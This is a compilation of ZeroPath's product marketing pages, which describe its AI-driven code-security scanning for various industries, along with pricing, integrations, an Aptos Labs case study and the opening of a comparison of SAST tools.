Manual evidence collection for multiple frameworks | **Automated compliance mapping**
Auto-align findings to ISO 27001, SOC 2, PCI-DSS, NIST 800-53 | | **Slow remediation cycles**
Industry average 252 days to fix critical issues | **AI-powered remediation**
Reduce critical MTTR from 21 days to 3 days | | **Tool sprawl costs**
Duplicate licensing and integration overhead | **Unified platform**
Cut duplicate tooling spend by up to 40% | ## How it Works

1. Unify

Consolidate SAST, SCA, secrets, IaC, custom policies, PR reviews, risk management, and autofix into one platform

2. Analyze

AI-driven analytics surface critical trends and predict risk trajectories

3. Govern

Policy engine enforces security standards across all teams and repositories

4. Report

Executive dashboards and compliance reports generated on-demand

## Key Capabilities ### Command-Center Analytics - **Unified scoreboard** surfaces critical counts, MTTR trends, and SLA breaches - **Risk deltas** by business unit, repository, or language - **Predictive analytics** forecast vulnerability accumulation - **Executive reporting** with drill-down capabilities ### Enterprise-Grade Architecture - **Multi-tenant console** supports MSPs and holding companies - **Granular RBAC** with immutable audit logs - **Workspace isolation** for subsidiaries and business units - **Federated authentication** with SSO/SAML support ### Compliance Automation - **Framework mapping** to ISO 27001, SOC 2, PCI-DSS, NIST 800-53 - **Auditor-ready reports** generated on demand - **Evidence collection** automated across all scans - **Gap analysis** identifies control deficiencies ### Risk Management - **Business context** enrichment for accurate prioritization - **Custom risk scoring** based on your threat model - **Vulnerability aging** reports track technical debt - **SLA monitoring** ensures timely remediation --- ### Financial Services / Fintech **URL**: https://zeropath.com/solutions/fintech ## The Challenge Financial services organizations face unique security challenges: stringent regulations, high-value targets for fraud, and the need to innovate at startup speed. Traditional security tools weren't built for the complexity of modern fintech stacks or the velocity of digital transformation. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **Leakage of PII**
Customer data exposure risks massive fines | **Natural language PII detection**
Custom rules deployed organization-wide in minutes | | **Stringent regulations**
PCI DSS 4.0, SOX, FFIEC, GLBA compliance burden | **Automated compliance mapping**
Map findings to exact controls, generate audit-ready reports with one click | | **High-value fraud target**
ATO attacks and payment fraud | **Business logic analysis**
Detect broken authentication and insecure money-movement flows with LLM-backed analysis | | **Velocity vs. security conflict**
Security slows down innovation | **Automated remediation**
Auto-patch PRs and Auto AppSec Mode keep pipelines green | | **Polyglot codebases**
Legacy COBOL to modern microservices | **20+ language support**
First-class SAST from COBOL-adjacent C/C++ to Kotlin, Rust, and Swift | | **Third-party risk**
Open-source vulnerabilities | **Integrated SCA**
Highlights EoL components, reachability, and transitive risk with CVSS 4.0 scoring | ## How it Works

1. Scan

LLM-driven analysis across SAST, SCA, secrets & IaC in one pass

2. Detect

Find PII leaks, auth flaws, and payment logic vulnerabilities

3. Comply

Auto-map to PCI DSS, SOX, GLBA controls with evidence collection

4. Remediate

AI-generated fixes that match your coding standards

## Key Capabilities ### Financial-Specific Detection - **PII leakage prevention** with custom natural language rules - **Payment flow analysis** for transaction security - **Authentication bypass detection** for ATO prevention - **Cryptographic validation** for key management compliance ### Regulatory Compliance - [**PCI DSS 4.0 Requirements 6.x** automated mapping](https://zeropath.com/blog/how-to-meet-security-requirements-for-pci-dss-compliance) - **SOX 404** control evidence generation - **ISO 27001 Annex A** alignment - **FFIEC CAT** readiness assessments - **GLBA Safeguards** rule compliance ### Risk Management - **Real-time risk portraits** by org, repo, or team - **MTTR tracking** for vulnerability remediation - **High-risk payment flow** identification - **Third-party risk scoring** with CVSS 4.0 ### Enterprise Features - **Context-aware secrets detection** for API keys and credentials - **Granular access controls** for multi-subsidiary organizations - **MSP mode** for payment facilitators and vendors - **Immutable audit logs** for regulatory examinations ## Trusted by Leading Financial Institutions Financial services teams using ZeroPath achieve: - **95% reduction** in PII exposure incidents - **80% faster** PCI DSS audit preparation - **60% lower** false positive rates than traditional SAST - **3x faster** vulnerability remediation --- ### Governance, Risk & Compliance (GRC) Teams **URL**: https://zeropath.com/solutions/grc ## The Challenge GRC teams face increasing pressure to demonstrate continuous compliance across multiple frameworks while security, engineering, and compliance teams often hold different numbers. Traditional tools make control mapping opaque and audit preparation a last-minute scramble. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **Opaque control mapping**
Findings rarely tie to ISO 27001, SOC 2, PCI-DSS controls | **Compliance-mapping engine**
Tags every vulnerability to exact sub-control with live evidence packs | | **Slow, siloed reporting**
Different teams have different numbers, leadership loses trust | **Single risk graph**
Unified dashboards with scheduled exports to Snowflake, Power BI, ServiceNow | | **Proof-of-fix gaps**
Auditors want immutable evidence of remediation | **End-to-end audit trail**
Scan logs, signed SBOMs, and verify-after-patch checks | | **Fragmented tooling spend**
Separate SAST, SCA, secrets platforms inflate costs | **Unified platform**
Eight security capabilities under one license, 40% cost reduction | ## How it Works

1. Map

Auto-align every finding to ISO 27001, SOC 2, PCI-DSS, NIST controls

2. Track

Real-time dashboards show control coverage and compliance gaps

3. Evidence

Automated collection with immutable logs and signed attestations

4. Export

One-click reports for auditors, scheduled syncs to GRC platforms

## Key Capabilities ### Control-Aligned Analytics - **Framework mapping** to ISO 27001 Annex A, PCI DSS 4.0, SOC 2, NIST - **Business unit views** slice risk by department, team, or repository - **One-click exports** generate auditor-ready compliance reports - **Gap analysis** identifies missing controls and coverage ### Immutable Audit Trail - **Tamper-proof ledger** with hashed, timestamped records - **Non-repudiation** for every scan, suppression, and patch - **Signed SBOMs** demonstrate supply chain due diligence - **Verify-after-patch** checks prove remediation effectiveness ### Supply Chain Compliance - **Live SBOM generation** for Executive Order 14028 - **EoL visibility** meets EU Cyber Resilience Act requirements - **Dependency tracking** with full transitive analysis - **License compliance** monitoring and reporting ### Governance Features - **Break-glass access** with full accountability logging - **Automatic expiry** for emergency overrides - **Role-based access** with granular permissions - **Multi-tenant support** for complex organizations ## Outcomes That Matter - **Massive reduction** in audit preparation time - **5-minute exports** replace month-long data collection - **Real-time SLA tracking** cuts critical MTTR from weeks to days - **Defensible metrics** build executive trust with consistent data ZeroPath turns continuous security testing into continuous compliance, giving GRC teams data they can depend on. --- ### Healthcare **URL**: https://zeropath.com/solutions/healthcare ## The Challenge Healthcare organizations face unique security challenges: protecting sensitive patient data, maintaining HIPAA compliance, and securing interconnected medical systems. A single PHI breach can cost millions in fines and destroy patient trust. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **PHI/PII data exposure**
Patient records leaked through code vulnerabilities | **Natural language PHI detection**
Custom rules find SSNs, medical record numbers, health data | | **HIPAA compliance burden**
Complex technical safeguards and audit requirements | **Automated HIPAA mapping**
Map findings to specific safeguards with audit trails | | **Legacy system vulnerabilities**
Outdated medical software with known flaws | **Polyglot language support**
Scan everything from COBOL to modern microservices | | **Third-party integration risks**
EHR, lab, and pharmacy system connections | **API security analysis**
Detect authentication flaws and data leakage in integrations | ## How it Works

1. Scan

Comprehensive analysis of healthcare applications and APIs

2. Detect

Find PHI exposure, access control issues, and encryption gaps

3. Comply

Auto-map to HIPAA technical safeguards and generate evidence

4. Remediate

AI-generated fixes that maintain healthcare data standards

## Key Capabilities ### Healthcare-Specific Detection - **PHI pattern recognition** for SSNs, MRNs, diagnosis codes - **HL7/FHIR security validation** for healthcare APIs - **Encryption verification** for data at rest and in transit - **Access control analysis** for role-based permissions ### Compliance Automation - **HIPAA technical safeguards** mapping (164.312) - **HITRUST CSF** control alignment - **Meaningful Use** security requirements - **State privacy law** compliance (CCPA, BIPA) ### Integration Security - **EHR integration** vulnerability scanning - **Medical device API** security assessment - **Third-party vendor** risk analysis - **Cloud HIPAA BAA** compliance verification ### Audit & Reporting - **Automated audit logs** for HIPAA requirements - **Risk assessment reports** for covered entities - **Business associate** security documentation - **Breach notification** readiness tracking ## Trusted by Healthcare Leaders Healthcare organizations using ZeroPath achieve: - **98% reduction** in PHI exposure vulnerabilities - **75% faster** HIPAA audit preparation - **60% lower** security remediation costs - **Zero** PHI breaches from application vulnerabilities --- ### Managed Security Service Providers (MSSP) **URL**: https://zeropath.com/solutions/mssp ## The Challenge Managed service teams juggle dozens of customer environments, each with its own policies, languages, and compliance demands. Analysts burn time hopping between tools, building custom reports, and explaining scan noise that customers don't want to pay for. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **Multiple scanners**
Duplicate alerts and license costs across tools | **Unified platform**
One platform replaces four tools, cuts costs by 40% | | **Slow onboarding**
Delays the first invoice by weeks | **Rapid deployment**
Get clients scanning during first kickoff call | | **Manual reporting**
Analysts waste hours on evidence packs | **Automated reports**
Scheduled CSV/PDF exports with white-label branding | | **Proving value**
Difficulty showing measurable risk reduction | **Live dashboards**
Real-time MTTR and risk metrics demonstrate ROI | ## How it Works

1. Onboard

Spin up isolated workspaces for each client in minutes

2. Scan

Unified SAST, SCA, secrets, IaC, custom policies, PR reviews, risk management, and autofix across all repos

3. Manage

Multi-tenant console with granular RBAC and API automation

4. Report

White-label dashboards and automated compliance evidence

## Key Capabilities ### Multi-Tenant Architecture - **Workspace isolation** ensures complete data separation - **White-label portals** branded with your logo and colors - **Granular RBAC** with per-tenant API keys - **Federated billing** for usage-based pricing models ### Rapid Client Onboarding - **CLI and TypeScript SDK** for bulk imports - **Public/private repo** support across all VCS platforms - **Single-script deployment** for entire client estates - **Zero-touch scanning** starts during first call ### Automation at Scale - **Scheduled deep scans** run without analyst intervention - **Auto-patch pull requests** fix critical issues automatically - **Reachability analysis** reduces alerts by 90% - **CVSS 4.0 scoring** for accurate prioritization ### Client Value Demonstration - **Live dashboards** show real-time security posture - **MTTR tracking** proves remediation velocity - **Risk reduction metrics** demonstrate ROI - **Compliance mapping** for regulated clients ## Business Impact - **Onboard in < 1 day** - Get new clients scanning during kickoff - **75% alert reduction** - Focus only on actionable issues - **3x analyst efficiency** - Handle more clients without hiring - **Boost retention** - Transparent metrics keep clients engaged --- ### Secure AI-Generated Code **URL**: https://zeropath.com/solutions/secure-ai-generated-code ## The Challenge [One in three AI-generated pieces of code contains a vulnerability](https://socradar.io/every-1-of-3-ai-generated-code-is-vulnerable-exploring-insights-with-cyberseceval). As development teams increasingly rely on AI coding assistants, security risks are being introduced at an unprecedented rate. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **LLM assistants embed unsafe patterns**
Hard-coded secrets, unsanitized inputs, and broken authentication | **Context-aware SAST with AI models**
Pinpoints flaws and proposes fixes pulled from your code style | | **Developers over-trust the assistant**
Skip review assuming AI-generated code is secure | **Inline VCS integration**
GitHub/GitLab/Bitbucket checks gate insecure PRs and auto-open a patch MR | | **Traditional scanners drown you in false positives**
Noise makes it impossible to find real issues | **AI-powered accuracy**
Only actionable alerts reach your PR, each with a one-click fix | ## How it Works

1. Detect

AI-aware detections + deep-flow analysis scan every push in < 60s

2. Prioritize

Risk-rank by exploitability, data sensitivity & business logic

3. Fix

LLM generates a ready-to-merge patch and unit test

4. Verify

CI reruns the scan to guarantee the vulnerability is gone

## Key Capabilities ### AI-Specific Vulnerability Detection - **Prompt injection attacks** - Detect when user input can manipulate AI behavior - **Insecure output handling** - Catch unvalidated AI responses before they cause XSS or injection - **Training data poisoning** - Identify potential data corruption vectors - **Model denial-of-service** - Find resource exhaustion vulnerabilities - **Sensitive information disclosure** - Prevent AI from leaking confidential data ### Business Logic Detection ZeroPath understands cross-file and cross-repository data flow to catch: - Faulty authentication and authorization logic - Broken Object Level Access (BOLA) vulnerabilities - Complex race conditions and state management issues ### One-Click Autofix - Autogenerated patches that match your coding style - Natural language modification capabilities - Ready-to-merge pull requests with unit tests --- ### Security Research **URL**: https://zeropath.com/solutions/security-research Seasoned security researchers need tools that combine broad code-base coverage with pinpoint accuracy. Independent investigations have found that high false-positive rates in many static-analysis products discourage experts from using them, which in turn reduces real-world zero-day discovery ([source](https://www.darkreading.com/application-security/software-assurance-thinking-back-looking-forward)). ZeroPath equips red-teams with the depth that developer-centric scanners lack while still upholding the discipline required for responsible disclosure. ## Feature depth that accelerates discovery | Researcher need | ZeroPath capability | | --------------- | ------------------- | | **Detection of non-standard issues** | ZeroPath detects various types of non-traditional vulnerabilities like broken and missing authentication/authorization, logic flaws, amongst traditional issues like SQLi, XSS, XXE, etc. | | **Real, proven, public results** | We have a proven track record of finding and reporting issues using the tool; we’ve published them publicly on our [wall of fame](https://zeropath.com/wall) | ## Key Capabilities ### Multi-format coverage Static analysis for source code, minified JavaScript, compiled binaries, Docker layers, and Android APKs, plus byte-code decompilation with automatic call-graph recovery. ### Automated PoC creation An LLM trained on public proof-of-concepts produces payload and PoCs, each annotated with pre-conditions, shortening the gap between identification and demonstration. ### Flexible export Native SARIF, and CycloneDX feeds integrate with CodeQL, Ghidra, and MITRE CALDERA for custom pipelines. --- ### Security Teams **URL**: https://zeropath.com/solutions/security-teams ## The Challenge Apps change daily, attack techniques change hourly, and your board wants a single risk number now. Spreadsheets can't keep up, and siloed findings bury you in triage work. Security teams need real-time visibility and control at enterprise scale. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **Tool sprawl and noise**
Multiple scanners create duplicate alerts | **Unified AppSec Graph**
Combines SAST, SCA, IaC, secrets in one view | | **False positive overload**
Teams waste time on non-issues | **Intelligent severity scoring**
CVSS 4.0-aligned scoring spotlights material risk | | **Limited visibility**
No unified view across teams and repos | **Multi-level analytics**
Organization, team, and repo-level dashboards | | **Slow reporting**
Manual reports take weeks to prepare | **Board-ready dashboards**
Live metrics and scheduled exports in minutes | ## How it Works

1. Unify

Consolidate all AppSec tools into a single platform

2. Analyze

AI-driven analysis with reachability and exploitability scoring

3. Prioritize

Focus on material risks using CVSS 4.0 and business context

4. Report

Executive dashboards and compliance evidence on-demand

## Key Capabilities ### Unified AppSec Platform - **Single pane of glass** for SAST, SCA, IaC, and secrets - **Cross-tool correlation** eliminates duplicate findings - **Reachability analysis** shows exploitable paths - **Dependency tracking** with full transitive analysis ### Intelligent Risk Scoring - **CVSS 4.0 alignment** for industry-standard scoring - **Business context enrichment** for accurate prioritization - **Exploitability assessment** based on real attack patterns - **Material risk focus** filters out cosmetic issues ### Enterprise Analytics - **Multi-level dashboards** from org to individual repos - **MTTR tracking** across teams and technologies - **Top vulnerability classes** by CWE categories - **Risk by language** and technology stack - **Export to SIEM** platforms (Splunk, Snowflake) ### Governance & Compliance - **Granular RBAC** for team-based access control - **MSP workspaces** for multi-business unit management - **Immutable audit logs** for compliance requirements - **SBOM generation** and API-driven attestations - **Framework alignment** for FedRAMP, SOC 2, ISO 27001 ## See It In Action
ZeroPath security team dashboard showing unified risk view and analytics
## Outcomes That Matter - **Secure at scale** - Hundreds of integrations into developer workflows - **Minutes not weeks** - Board-level reporting with live dashboards - **Unified risk view** - Single source of truth for AppSec posture --- ### Software Supply Chain Security **URL**: https://zeropath.com/solutions/supply-chain-security ## The Challenge [Sonatype's ten-year retrospective shows supply-chain attacks doubling again in 2024](https://investor.synopsys.com/news/news-details/2024/New-Synopsys-Report-Finds-74-of-Codebases-Contained-High-Risk-Open-Source-Vulnerabilities-Surging-54-Since-Last-Year/default.aspx). Conventional Software Composition Analysis tools generate mountains of unreachable CVE alerts, overwhelming security teams and delaying critical upgrades. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **Alert overload**
Thousands of CVEs, most never executed | **Reachability analysis**
Only flags libraries actually invoked by your code | | **Unmaintained dependencies**
74% of projects use abandoned packages | **End-of-life detection**
Identifies packages without active maintainers | | **License compliance risk**
Manual tracking of OSS licenses | **Built-in compliance**
Automated license scanning with CycloneDX SBOMs | | **Cross-tool blind spots**
Secrets in dependencies go undetected | **Unified analysis**
Correlates secrets, IaC misconfigs, and vulnerable deps | ## How it Works

1. Discover

Map your entire dependency tree including transitive dependencies

2. Analyze

Call-graph analysis identifies which code paths are actually reachable

3. Prioritize

Focus only on exploitable vulnerabilities in your execution paths

4. Remediate

AI-suggested upgrades that won't break your application

## Key Capabilities ### Reachability-First Analysis - **Call-graph walking** to trace actual code execution - **90% alert reduction** compared to traditional SCA - **Function-level precision** for vulnerability assessment - **Cross-language support** for polyglot applications ### Supply Chain Intelligence - **End-of-life detection** for abandoned packages - **Maintainer analysis** to assess project health - **Update velocity tracking** for security responsiveness - **Fork detection** to identify unofficial versions ### Compliance & Governance - **License compatibility** checking across dependencies - **CycloneDX SBOM** generation with one click - **Export to VEX** for vulnerability exchange - **Policy enforcement** for approved package lists ### Unified Risk View - **Secrets in dependencies** detection and correlation - **IaC misconfigurations** that amplify supply chain risk - **Attack path modeling** from vulnerable dep to exploit - **Business impact scoring** based on data sensitivity --- ## Enterprise Security Suite ### Identity & Access Management - **SAML 2.0 & OAuth**: Seamless integration with Okta, Auth0, Azure AD, Google Workspace - **Team-Based Access Control**: Granular permissions aligned with organizational structure - **Break-Glass Access**: Emergency override capabilities with full audit trail - **Multi-Factor Authentication**: Enhanced security for sensitive operations ### Scale & Performance - **Massive Codebase Support**: Tested with repositories exceeding 5 million lines - **Parallel Processing**: Scan multiple repositories simultaneously - **Distributed Architecture**: Horizontally scalable for enterprise needs - **API Rate Limits**: Enterprise-grade limits available ### Compliance & Governance - **Certifications**: SOC 2 Type II, ISO 27001 (in progress) - **Compliance Frameworks**: GDPR, CCPA, HIPAA, PCI-DSS ready - **Audit Logging**: Complete activity tracking for compliance - **Data Residency**: EU and US data center options ## Integration Ecosystem ### Version Control Systems - GitHub (Cloud & Enterprise) - GitLab (Cloud & Self-hosted) - Bitbucket (Cloud & Server) - Azure DevOps ### CI/CD Platforms - Jenkins - GitHub Actions - GitLab CI - CircleCI - Travis CI - Azure Pipelines - Bitbucket Pipelines ### Developer Tools & Collaboration - VS Code Extension - IntelliJ IDEA Plugin - Slack Integration - Microsoft Teams - Jira Integration - ServiceNow - Linear ### API & Developer Resources #### RESTful API - **Documentation**: https://zeropath.com/docs - **Authentication**: API key and OAuth 2.0 - **Rate Limits**: Enterprise-grade limits - **Response Format**: JSON with comprehensive error handling #### Command Line Interface (CLI) - **Repository**: https://github.com/ZeroPathAI/zeropath-cli - **Features**: Local scanning, CI/CD integration, offline mode - **Installation**: `npm install -g @zeropath/cli` - **License**: Apache 2.0 #### SDKs & Libraries - **TypeScript/JavaScript**: https://www.npmjs.com/package/zeropath - Full TypeScript support with type definitions - Promise-based API for modern async/await patterns - Comprehensive error handling and retry logic - **Python SDK**: Coming Q2 2025 - **Go SDK**: Coming Q3 2025 #### MCP (Model Context Protocol) Server - **Repository**: https://github.com/ZeroPathAI/zeropath-mcp-server - **Purpose**: Enable AI assistants to analyze code security - **Compatible With**: Claude, GPT-4, and other LLMs - **Use Cases**: Automated security reviews, vulnerability explanations ## Technology & Innovation ### AI/ML Capabilities - **Context Understanding**: Analyzes code flow and business logic - **Continuous Learning**: Models improve with customer feedback - **Language Support**: 35+ programming languages and frameworks ### Security Research - **Open Source Contributions**: Active maintainers of security tools - **Blog**: Regular security research and vulnerability analysis ## Pricing & Plans ### Credits (Alpha) - Usage-based - Usage-based scanning credits (alpha availability) - All scan types included - Sign up to request access ### Team - $1,000/month + $60/dev - Unlimited repositories - Unlimited scans - PR reviews and comments - AI-powered auto-fix - SSO/SAML authentication - Jira, Linear, and Slack integrations - SARIF export - 14-day free trial available ### Enterprise - Custom - Everything in Team - On-prem / self-hosted / private cloud deployment - Bring your own keys (BYOK) - Volume discounts - Dedicated support with SLA - Custom compliance reports - Managed AppSec services ### Custom Enterprise Solutions - Volume licensing for large organizations - Professional services and training - Dedicated customer success manager - Custom SLA and support agreements ## Platform Capabilities ### Language & Framework Support #### Programming Languages (35+) - **Mainstream**: Python, JavaScript, TypeScript, Java, C#, Go, Ruby, PHP, Kotlin, Nim, Swift - **Systems**: C, C++, Rust, Swift, Kotlin, Objective-C - **Specialized**: Scala, Perl, R, MATLAB, Shell, PowerShell - **Mobile**: Swift (iOS), Kotlin/Java (Android), React Native, Flutter #### Web Frameworks - **JavaScript**: React, Vue, Angular, Next.js, Express, Node.js - **Python**: Django, Flask, FastAPI, Pyramid - **Java**: Spring, Spring Boot, Struts, Play - **Ruby**: Rails, Sinatra, Hanami - **PHP**: Laravel, Symfony, WordPress, Drupal #### Package Managers - **JavaScript**: npm, yarn, pnpm, bower - **Python**: pip, pipenv, poetry, conda - **Java**: Maven, Gradle, Ant - **Ruby**: RubyGems, Bundler - **.NET**: NuGet, Paket - **Go**: Go Modules, dep - **Rust**: Cargo - **PHP**: Composer ### Security Coverage #### Vulnerability Categories - **OWASP Top 10**: Complete coverage with AI-enhanced detection - **CWE Top 25**: Advanced pattern recognition for dangerous weaknesses - **Business Logic**: Authentication bypasses, authorization flaws - **API Security**: REST, GraphQL, gRPC vulnerability detection - **Cloud Security**: AWS, Azure, GCP misconfigurations - **Mobile Security**: iOS/Android specific vulnerabilities #### Compliance Standards - **Industry**: PCI-DSS, HIPAA, SOC 2, ISO 27001 - **Regional**: GDPR (EU), CCPA (California), LGPD (Brazil) - **Government**: FedRAMP, NIST 800-53, FISMA - **Financial**: SWIFT CSP, PSD2, Basel III ## Recent Blog Posts & Research *Note: Showing the most recent 50 blog posts with full content. For a complete list, visit https://zeropath.com/blog* ### Insights (8 most recent of 8 total) #### How Aptos Labs Scales Application Security Across 1M+ Lines of Rust with AI-Powered SAST - **Date**: March 5, 2026 - **Authors**: ZeroPath Team - **Reading Time**: 8 minutes - **Keywords**: ai sast, ai application security, application security automation, automated security testing, rust static analysis, sast tools during code review, scaling application security, github security scanning, shift left security, ai powered sast - **URL**: https://zeropath.com/blog/aptos-labs-rust-ai-application-security How Aptos Labs automated security testing across 70 engineers, accelerated vulnerability discovery by 8x, and saved 20+ hours per week with AI-powered SAST on Rust codebases. --- ## Aptos Labs: Layer 1 Blockchain for the Real World [Aptos Labs](https://aptoslabs.com) builds a next-generation layer 1 blockchain designed for real-world usage. The platform is fast, inexpensive, reliable, and capable of supporting enterprise-grade applications. The team owns the entire stack: validators, SDKs, execution environment, and supporting infrastructure. That breadth creates both high development velocity and significant security surface area. --- ## The Challenge: Keeping Up with Engineering Velocity Andrea and his security team at Aptos Labs protect everything from infrastructure code and application logic to cloud environments, endpoints, and smart contracts. Engineering teams ship code constantly, and the security team simply cannot manually review every change. Before evaluating AI-powered static analysis tools, the team had largely avoided commercial SAST platforms. Every product they tested failed in the same ways: rigid rule systems that could not express subtle bugs in blockchain logic, too much noise, insufficient support for Rust, and high maintenance overhead for rule sets that still missed critical issues. - Engineering teams pushing code faster than security can review - Rust codebases with over a million lines of code - Traditional static analysis tools unable to detect complex business logic vulnerabilities - No existing automated security testing tool flexible enough to justify the investment Andrea describes what the team needed as an "automation baseline": something that automates foundational detection work so the security team can spend their time on the difficult, high-value tasks that require human creativity. The goal was to shift left on security without slowing developers down. As he put it, "Security changes constantly. You need a platform that lets you put energy in the right place." --- ## Why Aptos Labs Chose ZeroPath Aptos discovered ZeroPath through an internal comparison shared by a CISO friend. Andrea was running evaluations against four or five tools at once, mixing large enterprise vendors like Semgrep, Snyk, and Aikido with smaller AI-native players. During testing, ZeroPath surfaced a subtle replay-related issue in a vendor library. Andrea was surprised because this was not something a simple Semgrep rule could catch, especially given how the library's behavior was documented. He described the finding as looking "like something a person spent real time discovering." What kept the team engaged beyond that initial finding was the combination of detection quality and tuning flexibility. Andrea prefers a tool that surfaces more findings, even with some noise, as long as he can tune it down. "It's my job to figure out what is good and what is not. I just want a really good tool that has the capacity to throw me the good balls." ZeroPath's enterprise direction and willingness to build deep integrations specific to the Aptos stack, including a custom [Wiz integration](https://docs.zeropath.com/integrations/wiz), was a major factor in the decision. --- ## The Solution: AI-Powered SAST in the Aptos Security Workflow ### How Andrea's team hunts for variants at scale ZeroPath runs continuous static analysis on Aptos's most critical codebases, including a Rust repository with more than one million lines of code. When the security team discovers an issue manually, they convert it into a [reusable ZeroPath rule](https://zeropath.com/products/policy-engine). The team has already created fifteen custom rules, many targeting application-specific logic like replay protection and transaction validation edge cases. Andrea describes the workflow as: "We can express an issue once and ZeroPath goes hunting for variants across the codebase." ### Developers fix issues before merge ZeroPath provides real-time findings directly inside [GitHub pull requests](https://zeropath.com/products/pr-reviews). Developers see security issues in the context of their work and resolve them before merging, without opening a separate platform or waiting for a security review. This shift-left approach means the security team no longer needs to manually review every PR, and the Slack back-and-forth that used to dominate the workflow has dropped significantly. Andrea noted that AI coding bots also pick up ZeroPath's PR comments, adding additional context that developers find useful. "Developers live in GitHub. ZeroPath meets them there." ### Three-click triage When Andrea reviews a finding in the ZeroPath platform, distribution takes three clicks: read through it, validate, and send to Linear. Developers pick up from there. Time spent per finding dropped from roughly an hour to about twenty minutes, and the distribution step itself is nearly instantaneous. ### From first call to scanning production code in under two days Many Enterprise SAST tools take months to fully integrate and get production-ready. With ZeroPath, Aptos Labs was able to get production-ready in under two days, including configuration of custom integrations. Andrea emphasized that ZeroPath's hands-on support during onboarding was a real differentiator, especially for a team with demanding requirements like [Wiz integration](https://docs.zeropath.com/integrations/wiz). "No one else would have integrated with Wiz the way ZeroPath is doing. They really care about the customer and what they're doing." --- ## The Results: Saving 20+ Hours Per Week With ZeroPath deployed across Aptos's critical codebases, Andrea's team now operates at a fundamentally different scale. For new code, issues are caught in the pull request before they ever reach the main branch.

Issues caught earlier in the development lifecycle

For new code, vulnerabilities are caught at PR time before merge. Existing issues are surfaced quickly across critical repositories.

20-32 hours saved per week

ZeroPath saves 5-8 hours per person per week across the security team. Time per finding dropped from ~60 minutes to ~20 minutes, with distribution taking three clicks.

Security is no longer the bottleneck

Automated PR scanning lets developers ask questions and fix issues immediately. The security team can support a large engineering organization without becoming a bottleneck.

15 custom rules for application-specific logic

The team converts manually discovered issues into reusable rules that hunt for variants across the entire codebase, covering patterns no off-the-shelf scanner can express.

Enterprise-scale Rust scanned without compromising depth

ZeroPath easily handles enterprise-scale codebases, running deep AI-powered analysis across Aptos's largest Rust repositories.

When asked what would happen if ZeroPath disappeared, Andrea was direct: "We would have to divide our attention much more between finding and remediating vulnerabilities, which would negatively impact productivity." And from the budget perspective: "Incidents cost us more than buying a solution that prevents them." --- ## About ZeroPath ZeroPath is one of the first AI-native application security platforms that detects, explains, and helps fix real vulnerabilities, including business logic bugs, with precision and developer-friendly workflows. Leading engineering teams use ZeroPath to scale application security coverage without slowing development or increasing headcount. ZeroPath combines SAST, SCA, secrets scanning, and IaC scanning in a single platform. --- ## Frequently asked questions
How long does it take to set up ZeroPath? At Aptos Labs, the security team went from first call to scanning production code in under two days, including configuration of custom integrations like [Wiz](https://docs.zeropath.com/integrations/wiz). Most teams are scanning within five minutes of connecting their GitHub. ZeroPath's onboarding includes hands-on support from the team, and a 24x7 dedicated Slack channel stays active long after initial setup is complete.
Can ZeroPath detect business logic vulnerabilities in blockchain software? Yes. Business logic bugs in blockchain software like replay attacks, transaction validation bypasses, improper authorization flows look like normal, syntactically correct code. There is no regex that catches "this validation is missing replay protection." ZeroPath's AI-powered analysis understands code intent, not just patterns, which is why it surfaced a subtle replay-related vulnerability at Aptos Labs that rule-based scanners like Semgrep, Checkmarx, and Snyk missed. The team now converts these findings into [custom rules](https://zeropath.com/products/policy-engine) that hunt for variants across the codebase.
Does ZeroPath support Rust static analysis? Yes. ZeroPath handles enterprise Rust codebases at scale. Along with Rust, ZeroPath supports many [legacy languages and frameworks](https://zeropath.com/docs/scanning/sast-overview) which many enterprise SAST tools cannot.
How much does ZeroPath cost? ZeroPath starts at $1,000/month base plus $60/developer/month on the Team plan, with a 14-day free trial available. ZeroPath counts only developers actively using the platform, not everyone who has ever committed to a repository. Enterprise pricing with volume discounts, on-premises deployment, and custom compliance reports is available on request. As Andrea at Aptos Labs put it: "Incidents cost us more than buying a solution that prevents them."
--- #### 7 Best SAST Tools in 2026: Detailed Guide for AppSec Engineers and CISOs - **Date**: March 4, 2026 - **Authors**: ZeroPath Team - **Reading Time**: 25 minutes - **Keywords**: sast tools, best sast tools, best sast tools in 2026, static application security testing, sast tools comparison, sast vs dast, application security tools, code security, sast tools 2026 - **URL**: https://zeropath.com/blog/best-sast-tools We compared the 7 best SAST tools of 2026 side-by-side. Pricing, features, false positive rates, enterprise readiness and more for AppSec engineers and CISOs. --- ## TL;DR: Quick Comparison We tested and analyzed 7 leading SAST tools across detection accuracy, false positives, language support, CI/CD integration, compliance readiness, enterprise features, and pricing. Whether you're an AppSec engineer or a CISO, this guide should resolve majority of your doubts.
| Tool | Best For | Detection | Languages | SAST+SCA | SOC 2 | FedRAMP | Starting Price | | ------------- | ----------------------- | ------------------------ | --------- | -------- | ----- | ------------ | ---------------- | | **ZeroPath** | Best Overall | AI-native, context-aware | 30+ | Yes | Yes | No | $1K/mo + $60/dev/mo | | **Checkmarx** | Best All-in-One Suite | Rule-based + AI triage | 35+ | Yes | Yes | High-Ready | ~$40K/yr | | **Snyk Code** | Best for Integrations | Rule-based + AI-powered (DeepCode) | 19+ | Yes | Yes | Moderate ATO | Free–$25/dev/mo | | **Semgrep** | Best Open Source | Pattern matching + AI | 40+ | Yes | Yes | No | Free–$35/dev/mo | | **SonarQube** | Code Quality + Security | Rule-based | 35+ | Limited | Yes | No | Free–$20K/yr | | **Veracode** | Regulated Industries | Binary + source analysis | 30+ | Yes | Yes | Moderate ATO | ~$15K/yr | | **Cycode** | Supply Chain Security | Multi-scanner ASPM | 30+ | Yes | Yes | Ready | Contact sales |
